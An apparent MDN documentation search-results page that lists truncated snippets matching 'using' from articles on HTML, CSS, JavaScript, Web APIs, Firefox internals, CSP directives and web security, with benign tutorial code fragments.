we can mark it up using html to give it structure and purpose: <p>player 1: chris</p> then we can add some css into the mix to get it looking nice: p { font-family: 'helvetica neue', helvetica, sans-serif; letter-spacing: 1px; text-transform: uppercase; text-align: center; border: 2px solid rgba(0,0,200,0.6); background: rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,2...
...people are doing some amazing things using these web technologies —see chrome experiments and webglsamples.
... using a pure javascript construct allows you to select all the buttons using one instruction.
...And 4 more matches
Object building practice - Learn web development
objective: to get some practice with using objects and object-oriented techniques in a real world context.
... drawing the ball first add the following draw() method to the ball()'s prototype: ball.prototype.draw = function() { ctx.beginpath(); ctx.fillstyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * math.pi); ctx.fill(); } using this function, we can tell the ball to draw itself onto the screen, by calling a series of members of the 2d canvas context we defined earlier (ctx).
... // ball position always drawn at least one ball width // away from the edge of the canvas, to avoid drawing errors random(0 + size,width - size), random(0 + size,height - size), random(-7,7), random(-7,7), 'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')', size ); balls.push(ball); } the while loop creates a new instance of our ball() using random values generated with our random() function, then push()es it onto the end of our balls array, but only while the number of balls in the array is less than 25.
...And 4 more matches
Web performance resources - Learn web development
using resource hints such as rel=preconnect, rel=dns-prefetch, rel=prefetch, and rel=preload keep the size of javascript to a minimum.
... compress your resources using gzip, brotli, and zopfli.
...if you do, have a backup plan for seo (e.g render full page for bot traffic); for example, by using the loading attribute on the <img> element it is also crucial to realize what is really important to your users.
...And 4 more matches
Ember Interactivity: Footer functionality, conditional rendering - Learn web development
along the way, we'll learn about using conditional rendering in our templates.
... in todo-data.js, add the following getter underneath the existing all() getter to define what the incomplete todos actually are: get incomplete() { return this.todos.filter(todo => { return todo.iscompleted === false; }); } using array.filter(), we declare that "incomplete" todos are ones that have iscompleted equal to false.
...in ember, you can conditionally render parts of the template using conditional content; a simple block example looks something like this: {{#if this.thingistrue}} content for the block form of "if" {{/if}} so let's try replacing this part of footer.hbs: <strong>{{this.todos.incomplete.length}}</strong> todos left with the following: <strong>{{this.todos.incomplete.length}}</strong> {{#if this.todos.incomplete.length === 1}} todo {{else}} todos...
...And 4 more matches
Deployment and next steps - Learn web development
there are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using typescript.
...it will however minify and compress our javascript files using terser.
... note: there is also an official template for using webpack and also many community-maintained plugins for other bundlers.
...And 4 more matches
Git and GitHub - Learn web development
depending on how you like to work, you could use a git gui client (we'd recommend github desktop, sourcetree or git kraken) or just stick to using a terminal window.
...if you haven't already got one, sign up now using the provided link.
...there are other alternatives such as gitlab that you could try, and you could also try setting your own git server up and using it instead of github.
...And 4 more matches
Application cache implementation overview
entry is queried using that session.
...the load then continues from the network as a usual load, using http cache.
...loading subresources of a document using offline cache each sub resource loading channel is set inheritapplicationcache flag.
...And 4 more matches
Chrome registration
if more than one locale is registered for a package, the chrome registry will select the best-fit locale using the user's preferences.
...if more than one skin is registered for a package, the chrome registry will select the best-fit skin using the user's preferences.
... resource aliases can be created using the resource instruction: resource aliasname uri/to/files/ [flags] this will create a mapping for resource://<aliasname>/ uris to the path given.
...And 4 more matches
HTTP logging
sometimes, while debugging your web app (or client-side code using necko), it can be useful to log http traffic.
... using about:networking this is available starting with firefox 52.
... quit firefox is if it's currently running, by using the quit option in the file menu.
...And 4 more matches
Configuring Build Options
using a mozconfig configuration file the choice of which mozilla application to build and other configuration options can be configured in a mozconfig file.
... if you need to re-run configure, the easiest way to do it is using ./mach configure; running configure manually is strongly discouraged.
...l (thunderbird) ac_add_options --enable-application=comm/mail mozilla suite (seamonkey) ac_add_options --enable-application=suite calendar (lightning extension, uses thunderbird) ac_add_options --enable-application=comm/mail ac_add_options --enable-calendar selecting build options the build options you choose depends on what application you are building and what you will be using the build for.
...And 4 more matches
Eclipse CDT Manual Setup
(not using eclipse to invoke your real builds does lose you some minor benefits that eclipse has to offer, but these are worth sacrificing for much improved code assistance.
... select "general > workspace" and select "refresh using native hooks or polling" and "refresh on access" to prevent eclipse giving you annoying "resource is out of sync" messages when files change from under it due to mercurial or other external activity.
...download this first pass at an eclipse formatter configuration for mozilla c/c++ coding style, and install it by opening the workspace preferences, selecting "c/c++ > code style > formatter", and then using the "import" button to import that file.
...And 4 more matches
Storage access policy: Block cookies from trackers
this prevents those resources from retrieving tracking identifiers stored in cookies or site storage and using them to identify users across visits to multiple first parties.
...thus, attempts to read and write using this object will throw a typeerror exception.
... network connections: tls sessions will not be resumed using a session ticket when an https connection is made to an embedded third-party resource that is classified as a tracker.
...And 4 more matches
ChromeWorker
summary if you're developing privileged code, and would like to create a worker that can use js-ctypes to perform calls to native code, you can do so by using chromeworker instead of the standard worker object.
...examples of chromeworker's using js-ctypes are availabe on github and are linked to from the see also section below.
... addons must use absolute urls to load their workers, and those urls have to be using a chrome:// or resource:// protocol (file:// is not accepted).
...And 4 more matches
source-editor.jsm
when using the default orion editor, this is a xul <xul:iframe> element.
... lastfind object an object describing the result of the last find operation performed using the find(), findnext(), or findprevious() method.
... editor mode constants these constants are used to set the syntax highlighting mode for the editor by calling its setmode() method, or in the configuration object when first initializing the editor using its init() method.
...And 4 more matches
Mozilla DOM Hacking Guide
this is the schema used most of the time when using w3c dom objects and methods.
... when should domclassinfo be used to add a new interface to an existing dom object to expose a new dom object to javascript to add a new js external constructor, like "new image()" to bypass the default behavior of xpconnect to implement a "replaceable" property to mess with the prototypes of dom objects example of functionality implemented using domclassinfo: constructors of dom objects in the global scope (e.g.
... methods defined on the htmldomimplementation interface will be accessible on the document.implementation object (the main goal) using the automatic interface flattening brought to you by nsdomclassinfo and xpconnect.
...And 4 more matches
Activity Monitor, Battery Status Menu and top
using the high-performance gpu can greatly increase power consumption, and should be avoided whenever possible.
...if you have top open during those 5–10 seconds you'll see that systemstats is running and using a lot of cpu, and so presumably the measurements are obtained from it.
...tests indicate that it is almost certainly using the same "energy impact" formula to compute the "average energy impact", using measurements from the past 8 hours of wake time (i.e.
...And 4 more matches
Reporting a Performance Problem
this article will guide you in reporting a performance problem using the built-in gecko profiler tool.
... using the profiler when enabled, the profiler toolbar button is not recording by default.
... using the keyboard shortcuts is often more convenient than using the mouse to interact with the ui: ctrl+shift+1 - start/stop the profiler ctrl+shift+2 - take a profile and launch the viewer to view it capturing and sharing a profile while the profiler is recording, reproduce the performance problem.
...And 4 more matches
NSS 3.35 release notes
nss supports two different database file formats: dbm: the legacy file format, based on berkeley db, using filenames cert8.db, key3.db and secmod.db.
... sql: the newer file format, based on sqlite, using filenames cert9.db, key4.and and pkcs11.txt.
... applications using nss may explicitly request to use a specific database format, by adding a type prefix to the database directory, provided at nss initialization time.
...And 4 more matches
NSS API Guidelines
pkcs #11: implementation lib/softoken keydbt.h, keylow.h, keytboth.h, keytlow.h, secpkcs5.h, pkcs11.h, pkcs11f.h, pkcs11p.h, pkcs11t.h, pkcs11u.h ssl provides an implementation of the ssl protocol using nss and nspr.
...the advantage of using an array is that you can use strings(1) to pull the id tags out of a (debug) compiled library.
... memory allocation with arenas this section discusses memory allocation using arenas.
...And 4 more matches
JS::Value
the data in a js::value can be accessed using these member functions: js type js::value type tests constructor accessors mutators null val.isnull() js::nullvalue() n/a val.setnull() undefined val.isundefined() js::undefinedvalue() n/a val.setundefined() boolean val.isboolean(), val.istrue(), val.isfalse() js::booleanvalue(bool), js::truevalue(), js::falsevalue() ...
...the different representations are visible using the separate int32/double methods but do not affect observable semantics (ignoring performance).
...(note that both -0 and +0 are allowed, and the latter may sometimes be stored using the int32_t representation.) js::value further provides these methods combining various aspects of the above methods: js::objectornullvalue(jsobject*) returns an object value corresponding to the given non-null pointer, or a null value if the pointer is null.
...And 4 more matches
Thread Sanitizer
manual build build prerequisites note: this section assumes you're using linux to build.
... we recommend using clang 3.6 or later.
...c ac_add_options --disable-crashreporter ac_add_options --disable-elf-hack # keep symbols to symbolize tsan traces export moz_debug_symbols=1 ac_add_options --enable-debug-symbols ac_add_options --disable-install-strip # settings for an opt build ac_add_options --enable-optimize="-o2 -gline-tables-only" ac_add_options --disable-debug starting the build process now you start the build process using the regular make -f client.mk command.
...And 4 more matches
Component Internals
type library manifests type library manifests contain the following information: location of all type library files mapping of all known interfaces to type libraries where these structures are defined using the data in these two manifests, xpcom knows exactly which component libraries have been installed and what implementations go with which interfaces.
... a gecko embedding application may also provide its own way of registering xpcom components using the interface that is in fact used by both xpinstall and regxpcom, nsicomponentregistrar.
...you should always know what the installation and registration requirements are for the applications that will be using your component.
...And 4 more matches
mozIStorageConnection
note: this is not reliable if you are using asynchronous statements or if you are using the connection on multiple threads.
... note: this is not reliable if you are using asynchronous statements or if you are using the connection on multiple threads.
... note: this is not reliable if you are using asynchronous statements or if you are using the connection on multiple threads.
...And 4 more matches
nsIEditorIMESupport
try to avoid using it.
...try to avoid using it.
...try to avoid using it.
...And 4 more matches
nsIFile
an nsifile can be retrieved by either instantiating an nsilocalfile using a platform specific path string or by using cross-platform locations retrieved from the directory service.
...using the native form limits the ability of your code to deal with the full unicode support on windows 2000 or later where the os itself does not have such a limitation.
...this string must be encoded using the native character encoding.
...And 4 more matches
nsISessionStore
return value the string value that was previously assigned to akey using nsisessionstore.settabvalue(), or an empty string if no value is set for that key.
... if the previously saved value was originally a complex data (ie a javascript object) it can then be deserialized using json.parse cf.
... return value the string value that was previously assigned to akey using nsisessionstore.setwindowvalue(), or an empty string if no value is set for that key.
...And 4 more matches
nsIXPConnect
exceptions thrown missing exception missing description native code only!createsandbox create a sandbox for evaluating code in isolation using evalinsandboxobject().
...try to avoid using it.
...try to avoid using it.
...And 4 more matches
nsIXULTemplateBuilder
the nsitemplatebuilder interface controls the display of elements using a xul template element and is automatically attached to an element containing a datasources attribute.
...templates may generate content recursively, using the same template, but with the previous iteration's results as the reference point.
...templates may generate content recursively, using the previous iteration's results as reference point to invoke the same queries.
...And 4 more matches
Performance
however, there is still overhead, and using a transaction will still be faster.
...you might also want to try to the "explain" feature on your statements to see if they are using the indices you expect.
...for example, explain select * from moz_history; the results are hard to understand, but you should be able to see whether it is using indices.
...And 4 more matches
Getting Started Guide
for instance, here is a typical snippet of code (at its most compact) where you assign a xpcom interface pointer into a member variable, i.e., the body of a `setter' function, side-by-side using raw xpcom interface pointers and nscomptrs.
... */ mfooptr = afooptr; additionally, the class using raw xpcom interface pointers will need a destructor to release mfooptr; and a constructor to ensure that mfooptr is initially set to null (or some other reasonable value).
... using nscomptr the basics in most cases, you'll use an nscomptr exactly as you would a raw xpcom interface pointer.
...And 4 more matches
Debugger - Firefox Developer Tools
the promise’s allocation stack can be obtained using the promiseallocationstack accessor property of the debugger.object instance promise.
...the promise’s state, fulfillment or rejection value, and the allocation and resolution stacks can be obtained using the promise-related accessor properties of the debugger.object instance promise.
... this method interpretsglobal using the same rules that adddebuggee does.
...And 4 more matches
Paint Flashing Tool - Firefox Developer Tools
with the help of this tool you can figure out whether your website is causing the browser to repaint more than it needs to.
... the choices made by a web developer can hinder the browser here, causing it to trigger more repaints, and for more of the screen, than necessary.
... using the paint flashing tool open the toolbox, then click the icon labeled "highlight painted area": then try using the page.
...And 4 more matches
Intensive JavaScript - Firefox Developer Tools
you can use the frame rate and waterfall tools to see when javascript is causing performance problems, and to single out the particular functions that need attention.
...the first is to split long-running functions into pieces and use requestanimationframe to schedule each piece, and the second is to run the whole function in a separate thread using a web worker.
... there's also a video version of this walkthrough: the demo website looks like this: it has three controls: a radio button group to control how to run the javascript: as a single blocking operation in the main thread, as a series of smaller operations in the main thread using requestanimationframe(), or in another thread using a worker.
...And 4 more matches
HTMLFormElement - Web APIs
requestsubmit() requests that the form be submitted using the specified submit button and its corresponding configuration.
... events listen to these events using addeventlistener(), or by assigning an event listener to the oneventname property of this interface.
... usage notes obtaining a form element object to obtain an htmlformelement object, you can use a css selector with queryselector(), or you can get a list of all of the forms in the document using its forms property.
...And 4 more matches
Payment processing concepts - Web APIs
payer the person or organization making a purchase using a web site or app.
... payment method provider an organization that provides the technology needed to submit payments using a given payment method.
... for example, when using a credit card to pay, the credit card processing service is the payment method provider.
...And 4 more matches
Service Worker API - Web APIs
registration a service worker is first registered using the serviceworkercontainer.register() method.
...it is only activated when there are no longer any pages loaded that are still using the old service worker.
...activation can happen sooner using serviceworkerglobalscope.skipwaiting() and existing pages can be claimed by the active worker using clients.claim().
...And 4 more matches
SubtleCrypto.deriveKey() - Web APIs
otherwise it will be the initial key material for the derivation function: for example, for pbkdf2 it might be a password, imported as a cryptokey using subtlecrypto.importkey().
... extractable is a boolean indicating whether it will be possible to export the key using subtlecrypto.exportkey() or subtlecrypto.wrapkey().
...they can then use this shared secret as a symmetric key to secure their communication, or can use the secret as an input to derive such a key (for example, using the hkdf algorithm).
...And 4 more matches
SubtleCrypto.wrapKey() - Web APIs
one advantage of using aes-kw over another aes mode such as aes-gcm is that aes-kw does not require an initialization vector.
...*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-kw key using pbkdf2.
...*/ function getkeymaterial() { const password = window.prompt("enter your password"); const enc = new textencoder(); return window.crypto.subtle.importkey( "raw", enc.encode(password), {name: "pbkdf2"}, false, ["derivebits", "derivekey"] ); } /* given some key material and some random salt derive an aes-gcm key using pbkdf2.
...And 4 more matches
WebRTC connectivity - Web APIs
they will then send this offer to peer b using the chosen signal channel.
...this information is exchanged and stored using session description protocol (sdp); if you want details on the format of sdp data, you can find it in rfc 2327.
...this exchange is handled using interactive connectivity establishment (ice, a protocol which lets two devices use an intermediary to exchange offers and answers even if the two devices are separated by network address translation (nat).
...And 4 more matches
Lighting a WebXR setting - Web APIs
for the most part, any real-world light source can be simulated using one or more of these light source types.
... the color of each pixel in the final, rendered, scene is calculated using some intricate math that factors in things like: the color of the texture element (the pixel within the texture mapped onto the object; also known as a texel) corresponding to the screen pixel, given the object geometry, the viewer position and orientation relative to each polygon, and so forth.
...this is done using a technique known as lighting estimation.
...And 4 more matches
Synchronous and asynchronous requests - Web APIs
example: using a timeout you can use a timeout to prevent your code from hanging while waiting for a read to finish.
...see using web workers for examples and details.
...you should consider using the fetch() api with the keepalive flag.
...And 4 more matches
ARIA: contentinfo role - Accessibility
using the <footer> element instead is recommended: <footer> <h2>footer</h2> <!-- footer content --> </footer> description the contentinfo role is a landmark used to identify a page footer.
... each page should only include one contentinfo landmark, created by either using the <footer> element or by declaring role="contentinfo".
... using the <footer> element will automatically communicate a section has a role of contentinfo.
...And 4 more matches
ARIA: form role - Accessibility
using the <form> element will automatically communicate a section of content as a form landmark, if it is provided an accessible name.
... developers should always prefer using the correct semantic html element over using aria.
...even if you are using the form landmark instead of <form>, you are encouraged to use native html form controls like button, input, select, and textarea associated wai-aria roles, states, and properties no role specific states or properties.
...And 4 more matches
Typical use cases of Flexbox - CSS: Cascading Style Sheets
in the below live example we display the items at their natural size and by using justify-content: space-between make equal amounts of space between the items.
... you can change how the space is distributed using the space-around value, or where supported, space-evenly.
... here we are using the auto margins technique described in using auto margins for main axis alignment.
...And 4 more matches
Box alignment in CSS Grid Layout - CSS: Cascading Style Sheets
i can use the align-items property on the grid container, to align the items using one of the following values: auto normal start end center stretch baseline first baseline last baseline * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } .wrap...
...this means that you can set the property individually, by using align-self on a grid item.
... in this next example, i am using the align-self property, to demonstrate the different alignment values.
...And 4 more matches
Line-based placement with CSS Grid - CSS: Cascading Style Sheets
in the article covering the basic concepts of grid layout, we started to look at how to position items on a grid using line numbers.
... .box1 { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 4; } as you position some items, other items on the grid will continue to be laid out using the auto-placement rules.
...one of the very nice things about grid layout is this ability to have white space in our designs without having to push things around using margins to prevent floats from rising up into the space we have left.
...And 4 more matches
Subgrid - CSS: Cascading Style Sheets
subgrid for rows the next example is the same setup, however we are using subgrid as the value of grid-template-rows and defining explicit column tracks.
...this can be achieved by using the gap-* properties on the grid container of the subgrid.
... named grid lines when using css grid you can name lines on your grid and then position items based on those names rather than the line number.
...And 4 more matches
Ajax - Developer guides
WebGuideAJAX
asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together, including html or xhtml, css, javascript, dom, xml, xslt, and most importantly the xmlhttprequest object.
... using the xmlhttprequest api the xmlhttprequest api is the core of ajax.
... this article will explain how to use some ajax techniques, like: analyzing and manipulating the response of the server monitoring the progress of a request submitting forms and upload binary files – in pure ajax, or using formdata objects using ajax within web workers fetch api the fetch api provides an interface for fetching resources.
...And 4 more matches
Mobile Web Development - Developer guides
WebGuideMobile
cross-browser development write cross-browser code to create web sites that will work acceptably across different mobile browsers: try to avoid using browser-specific features, such as vendor-prefixed css properties.
... for example, if you set a gradient as a background for some text using a vendor-prefixed property like -webkit-linear-gradient, it's best to include the other vendor-prefixed versions of the linear-gradient() property.
... using tools like css lint can help find problems like this in code, and preprocessors like sass and less can help you to produce cross-browser code.
...And 4 more matches
HTML attribute reference - HTML: Hypertext Markup Language
color <basefont>, <font>, <hr> this attribute sets the text color using either a named color or a color specified in the hexadecimal #rrggbb format.
...the attribute can be used with form controls (such as the value of textarea elements), or in elements in an editing host (e.g., using contenteditable attribute).
...the attribute can be used with form controls (such as the value of textarea elements), or in elements in an editing host (e.g., using contenteditable attribute).
...And 4 more matches
<input type="submit"> - HTML: Hypertext Markup Language
WebHTMLElementinputsubmit
there are three permitted values: application/x-www-form-urlencoded this, the default value, sends the form data as a string after url encoding the text using an algorithm such as encodeuri().
...this url is then sent to the server using an http get request.
... post the form's data is included in the body of the request that is sent to the url given by the formaction or action attribute using an http post method.
...And 4 more matches
tabindex - HTML: Hypertext Markup Language
the user won't be able to focus any element with a negative tabindex using the keyboard, but a script can do so by calling the focus() method.
... avoid using tabindex values greater than 0.
... accessibility concerns avoid using the tabindex attribute in conjunction with non-interactive content to make something intended to be interactive focusable by keyboard input.
...And 4 more matches
Evolution of HTTP - HTTP
/0.9 was very limited and both browsers and servers quickly extended it to be more versatile: versioning information is now sent within each request (http/1.0 is appended to the get line) a status code line is also sent at the beginning of the response, allowing the browser itself to understand the success or failure of the request and to adapt its behavior in consequence (like in updating or using its local cache in a specific way) the notion of http headers has been introduced, both for the requests and the responses, allowing metadata to be transmitted and making the protocol extremely flexible and extensible.
... using http for secure transmissions the largest change that happened to http was done as early as end of 1994.
... using http for complex applications the original vision of tim berners-lee for the web wasn't a read-only medium.
...And 4 more matches
CSP: child-src - HTTP
the http content-security-policy (csp) child-src directive defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: connect-src - HTTP
the http content-security-policy (csp) connect-src directive restricts the urls which can be loaded using script interfaces.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: font-src - HTTP
the http content-security-policy (csp) font-src directive specifies valid sources for fonts loaded using @font-face.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: form-action - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 4 more matches
CSP: frame-src - HTTP
the http content-security-policy (csp) frame-src directive specifies valid sources for nested browsing contexts loading using elements such as <frame> and <iframe>.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: media-src - HTTP
the http content-security-policy (csp) media-src directive specifies valid sources for loading media using the <audio> and <video> elements.
... examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
...And 4 more matches
CSP: navigate-to - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 4 more matches
CSP: style-src - HTTP
examples: http://*.example.com: matches all attempts to load from any subdomain of example.com using the http: url scheme.
... https://store.example.com: matches all attempts to access store.example.com using https:.
... *.example.com: matches all attempts to load from any subdomain of example.com using the current protocol.
...And 4 more matches
Content-Security-Policy - HTTP
child-src defines the valid sources for web workers and nested browsing contexts loaded using elements such as <frame> and <iframe>.
... connect-src restricts the urls which can be loaded using script interfaces default-src serves as a fallback for the other fetch directives.
... font-src specifies valid sources for fonts loaded using @font-face.
...And 4 more matches
Protocol upgrade mechanism - HTTP
the http/1.1 protocol provides a special mechanism that can be used to upgrade an already established connection to a different protocol, using the upgrade header field.
...keep in mind that if you're opening a new connection using the websocket api, or any library that does websockets, most or all of this is done for you.
...using more than one sec-websocket-extension header in a request is permitted; the result is the same as if you included all of the listed extensions in one such header.
...And 4 more matches
Equality comparisons and sameness - JavaScript
strict equality using === strict equality compares two values for equality.
...(the only case in which (x !== x) is true is when x is nan.) loose equality using == loose equality compares two values for equality, after converting both values to a common type.
...m = 0; var obj = new string('0'); var str = '0'; console.log(num == num); // true console.log(obj == obj); // true console.log(str == str); // true console.log(num == obj); // true console.log(num == str); // true console.log(obj == str); // true console.log(null == undefined); // true // both false, except in rare cases console.log(obj == null); console.log(obj == undefined); in most cases, using loose equality is discouraged.
...And 4 more matches
Grammar and types - JavaScript
evaluating variables a variable declared using the var or let statement with no assigned value specified has the value of undefined.
... if (true) { var x = 5; } console.log(x); // x is 5 this behavior changes when using the let declaration (introduced in ecmascript 2015).
... in web pages, the global object is window, so you can set and access global variables using the window.variable syntax.
...And 4 more matches
Array.prototype.map() - JavaScript
when not to use map() since map builds a new array, using it when you aren't using the returned array is an anti-pattern; use foreach or for-of instead.
... you shouldn't be using map if: you're not using the array it returns; and/or you're not returning a value from the callback.
... let numbers = [1, 4, 9] let roots = numbers.map(function(num) { return math.sqrt(num) }) // roots is now [1, 2, 3] // numbers is still [1, 4, 9] using map to reformat objects in an array the following code takes an array of objects and creates a new array containing the newly reformatted objects.
...And 4 more matches
JSON.stringify() - JavaScript
all symbol-keyed properties will be completely ignored, even when using the replacer function.
... examples using json.stringify json.stringify({}); // '{}' json.stringify(true); // 'true' json.stringify('foo'); // '"foo"' json.stringify([1, 'false', false]); // '[1,"false",false]' json.stringify([nan, null, infinity]); // '[null,null,null]' json.stringify({ x: 5 }); // '{"x":5}' json.stringify(new date(2006, 0, 2, 15, 4, 5)) // '"2006-01-02t15:04:05.000z"' json.stri...
... json.stringify({ a: 2 }, null, ' '); // '{ // "a": 2 // }' using a tab character mimics standard pretty-print appearance: json.stringify({ uno: 1, dos: 2 }, null, '\t'); // returns the string: // '{ // "uno": 1, // "dos": 2 // }' tojson() behavior if an object being stringified has a property named tojson whose value is a function, then the tojson() method customizes json stringification behavior: instead of the object being serialized, the value r...
...And 4 more matches
Object initializer - JavaScript
objects can be initialized using new object(), object.create(), or using the literal notation (initializer notation).
...although they look similar, there are differences between them: json permits only property definition using "property": value syntax.
...object properties can be accessed by using the dot notation or the bracket notation.
...And 4 more matches
Authoring MathML - MathML
this page explains how to write mathematics using the mathml language.
... using mathml mathml in html pages you can use presentation mathml inside html5 documents: <!doctype html> <html> <head> <title>mathml in html5</title> </head> <body> <h1>mathml in html5</h1> <p> square root of two: <math> <msqrt> <mn>2</mn> </msqrt> </math> </p> </body> </html> content mathml is not supported by browsers.
...to use it, just insert one line in your document header: <script src="https://fred-wang.github.io/mathml.css/mspace.js"></script> if you need more complex constructions, you might instead consider using the heavier mathjax library as a mathml polyfill: <script src="https://fred-wang.github.io/mathjax.js/mpadded-min.js"></script> note that these two scripts perform feature detection of the mspace or mpadded elements (see the browser compatibility table on these pages).
...And 4 more matches
Paths - SVG: Scalable Vector Graphics
WebSVGTutorialPaths
while creating complex paths using an xml editor or text editor is not recommended, understanding how they work will allow to identify and repair display issues in svgs.
... <svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <path d="m 10 10 h 90 v 90 h 10 l 10 10"/> <!-- points --> <circle cx="10" cy="10" r="2" fill="red"/> <circle cx="90" cy="90" r="2" fill="red"/> <circle cx="90" cy="10" r="2" fill="red"/> <circle cx="10" cy="90" r="2" fill="red"/> </svg> we can shorten the above path declaration a little bit by using the "close path" command, called with z.
...relative commands are called by using lowercase letters, and rather than moving the cursor to an exact coordinate, they move it relative to its last position.
...And 4 more matches
Subresource Integrity - Web security
note: for subresource-integrity verification of a resource served from an origin other than the document in which it’s embedded, browsers additionally check the resource using cross-origin resource sharing (cors), to ensure the origin serving the resource allows it to be shared with the requesting origin.
... how subresource integrity helps using content delivery networks (cdns) to host files such as scripts and stylesheets that are shared among multiple sites can improve site performance and conserve bandwidth.
... however, using cdns also comes with a risk, in that if an attacker gains control of a cdn, the attacker can inject arbitrary malicious content into files on the cdn (or replace the files completely) and thus can also potentially attack all sites that fetch files from that cdn.
...And 4 more matches
Transport Layer Security - Web security
the security of any connection using transport layer security (tls) is heavily dependent upon the cipher suites and security parameters selected.
...http encrypted using tls is commonly referred to as https.
... to assist you in configuring your site, mozilla provides a helpful tls configuration generator that will generate configuration files for the following web servers: apache nginx lighttpd haproxy amazon web services cloudformation elastic load balancer using the configurator is a recommended way to create the configuration to meet your needs; then copy and paste it into the appropriate file on your server and restart the server to pick up the changes.
...And 4 more matches
Tutorials
html challenges use these challenges to hone your html skills (for example, "should i use an <h2> element or a <strong> element?"), focusing on meaningful markup.
...this module provides a gentle beginning to your path towards css mastery with the basics of how it works, what the syntax looks like, and how you can start using it to add styling to html.
... css building blocks this module carries on where css first steps left off — now you've gained familiarity with the language and its syntax, and got some basic experience with using it, its time to dive a bit deeper.
...And 4 more matches
Module structure of the SDK - Archive of obsolete content
commonjs is the underlying infrastructure for both the sdk and the add-ons you build using the sdk.
... except for scripts that interact directly with web content, all the javascript code you'll write or use when developing add-ons using the sdk is part of a commonjs module, including: sdk modules: the javascript modules which the sdk provides, such as panel and page-mod.
... although the sdk repository in github includes copies of these modules, they are built into firefox and by default, when you run or build an add-on using jpm run or jpm xpi, it is the versions of the modules in firefox that are used.
...And 3 more matches
simple-storage - Archive of obsolete content
because jpm run by default uses a fresh profile each time it runs, simple storage won't work with add-ons executed using jpm run - that is, stored data will not persist from one run to the next.
... accessing storage from the console in the add-on debugger, you can access your add-on's simple-storage programmatically from the console using the following: loader.modules['resource://gre/modules/commonjs/sdk/simple-storage.js'].exports.storage clarification from mozilla needed: writing the above line in add-on debugger console results in "referenceerror: loader is not defined".
...line 2 needs to be made conditional, so the array is only constructed if it does not already exist: if (!ss.storage.pages) ss.storage.pages = []; deleting data you can delete properties using the delete operator.
...And 3 more matches
/loader - Archive of obsolete content
paths the loader needs to be provided with a set of locations to indicate where to find modules loaded using require().
...oolkit/', // resolve all other non-relative module requirements as follows: // devtools/gcli -> resource:///modules/devtools/gcli.js // panel -> resource:///modules/panel.js '': 'resource:///modules/', } }) all relative url require() statements (those that start with ".") are first resolved relative to the requirer module id and the result of it is then resolved using the paths option.
...this can be done using the optional globals option.
...And 3 more matches
ui/button/toggle - Archive of obsolete content
you can add a "badge" to a button using its badge property.
...by default the badge's color is red, but you can set your own color using the badgecolor property, specified as a css <color> value: var { togglebutton } = require("sdk/ui/button/toggle"); var button = togglebutton({ id: "my-button1", label: "my button1", icon: "./icon-16.png", onchange: changed, badge: 0, badgecolor: "#00aaaa" }); function changed(state) { button.badge = state.badge + 1; if (state.checked) { button.badgecolor = "#aa00aa"; } else { button.badgecolor = "#00aaaa"; } } specifying multiple icons you can specify just one icon, or multiple icons in different sizes.
... "my w2 label": browser: label = "my default" w1 t1 > displays "my default" t2 > displays "my default" w2 t3 > displays "my t3 label" t4 > displays "my w2 label" setting the properties on the button instance sets the button's global state: button.label = "my new label"; you can set state to be specific to a window or tab using the button's state() method.
...And 3 more matches
ui/frame - Archive of obsolete content
experimental create html iframes, using bundled html, css and javascript, that can be added to a designated area of the firefox user interface.
... messages logged from a frame script using the console will not appear in the terminal when you run the add-on using jpm run.
... communicating with frames you can exchange messages between the main add-on code and scripts loaded into the frame using an api modeled on window.postmessage().
...And 3 more matches
console - Archive of obsolete content
if you're developing your add-on using the extension auto-installer, then the add-on is installed in firefox, meaning that messages will appear in the browser console.
... but see the discussion of logging levels: by default, messages logged using log(), info(), trace(), or warn() won't be logged in these situations.
... both these preferences can be set programmatically using the preferences/service api, or manually using about:config.
...And 3 more matches
Getting started (cfx) - Archive of obsolete content
this tutorial walks through creating a simple add-on using the cfx command-line tool.
...see: getting started with jpm cfx to jpm prerequisites to create add-ons for firefox using the sdk, you'll first need to follow the instructions to install and activate the sdk.
... summary in this tutorial we've built and packaged an add-on using three commands: cfx init to initialize an empty add-on template cfx run to run a new instance of firefox with the add-on installed, so we can try it out cfx xpi to package the add-on into an xpi file for distribution these are the three main commands you'll use when developing sdk add-ons.
...And 3 more matches
Bookmarks - Archive of obsolete content
this article offers examples for how to perform common bookmark management tasks using the bookmarks service.
